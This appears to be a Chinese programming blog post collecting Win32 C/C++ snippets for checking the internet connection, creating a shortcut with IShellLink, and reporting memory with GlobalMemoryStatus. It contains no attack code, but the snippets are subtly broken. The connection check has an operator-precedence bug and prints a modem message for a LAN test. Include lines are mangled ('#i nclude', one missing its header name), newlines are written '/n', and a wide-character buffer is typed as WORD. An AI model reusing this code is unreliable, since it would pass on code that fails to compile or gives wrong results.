参考http://support.microsoft.com/default.aspx?scid=kb;en-us;147578  

Q
如何检测当前系统是否连接了internet
A
DWORD  dwFlags;  
if  (InternetGetConnectedState(&dwFlags,0))  
if  (dwFlags&INTERNET_CONNECTION_LAN==INTERNET_CONNECTION_LAN)  
   MessageBox("已经使用MODEM连接到了Internet!","信息");  
else  
   MessageBox("还没有连接到Internet!","信息");

 

创建快捷方式:
BOOL CreateLink ( 
    LPSTR szPath,//快捷方式的目标应用程序名
    LPSTR szLink)//快捷方式的数据文件名(*.lnk)
{
HRESULT hres ;
IShellLink * psl ;
IPersistFile* ppf ;
WORD wsz[ MAX_PATH] ;
    //创建一个IShellLink实例
    hres = CoCreateInstance( CLSID_ShellLink, NULL,
        CLSCTX_INPROC_SERVER, IID_IShellLink,
        (void **)&psl) ;
if( FAILED( hres))
        return FALSE ;
    //设置目标应用程序
    psl -> SetPath( szPath) ;
    //设置快捷键(此处设为Shift+Ctrl+'R')
    psl -> SetHotkey( MAKEWORD( 'R',
            HOTKEYF_SHIFT |HOTKEYF_CONTROL)) ;
    //从IShellLink获取其IPersistFile接口
    //用于保存快捷方式的数据文件 (*.lnk)
    hres = psl -> QueryInterface( IID_IPersistFile,
            (void**)&ppf) ;
if( FAILED( hres))
        return FALSE ;
// 确保数据文件名为ANSI格式
MultiByteToWideChar( CP_ACP, 0, szLink, -1, 
            wsz, MAX_PATH) ;
    //调用IPersistFile::Save
    //保存快捷方式的数据文件 (*.lnk)
hres = ppf -> Save( wsz, STGM_READWRITE) ;
    //释放IPersistFile和IShellLink接口
ppf -> Release( ) ;
psl -> Release( ) ;
return TRUE;
}

剩余内存
 MEMORYSTATUS MemStat;
 MemStat.dwLength = sizeof(MEMORYSTATUS);
 GlobalMemoryStatus(&MemStat);
 //strFreeMemory.Format(strFrm, MemStat.dwAvailPhys /1024L);

 m_Edt_Memory = MemStat.dwAvailPhys / 1024L;
 UpdateData(FALSE);

获取内存的信息:
#i nclude "stdafx.h"

#i nclude 
#i nclude "stdio.h"

// Use to change the divisor from Kb to Mb.

#define DIV 1024
// #define DIV 1

char *divisor = "K";

#define WIDTH 7

void main(int argc, char *argv[])
{
 MEMORYSTATUS stat;
 
 GlobalMemoryStatus (&stat);
 
 printf ("The MemoryStatus structure is %ld bytes long./n",
  stat.dwLength);
 printf ("It should be %d./n", sizeof (stat));
 printf ("%ld percent of memory is in use./n",
  stat.dwMemoryLoad);
 printf ("There are %*ld total %sbytes of physical memory./n",
  WIDTH, stat.dwTotalPhys/DIV, divisor);
 printf ("There are %*ld free %sbytes of physical memory./n",
  WIDTH, stat.dwAvailPhys/DIV, divisor);
 printf ("There are %*ld total %sbytes of paging file./n",
  WIDTH, stat.dwTotalPageFile/DIV, divisor);
 printf ("There are %*ld free %sbytes of paging file./n",
  WIDTH, stat.dwAvailPageFile/DIV, divisor);
 printf ("There are %*lx total %sbytes of virtual memory./n",
  WIDTH, stat.dwTotalVirtual/DIV, divisor);
 printf ("There are %*lx free %sbytes of virtual memory./n",
  WIDTH, stat.dwAvailVirtual/DIV, divisor);
}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值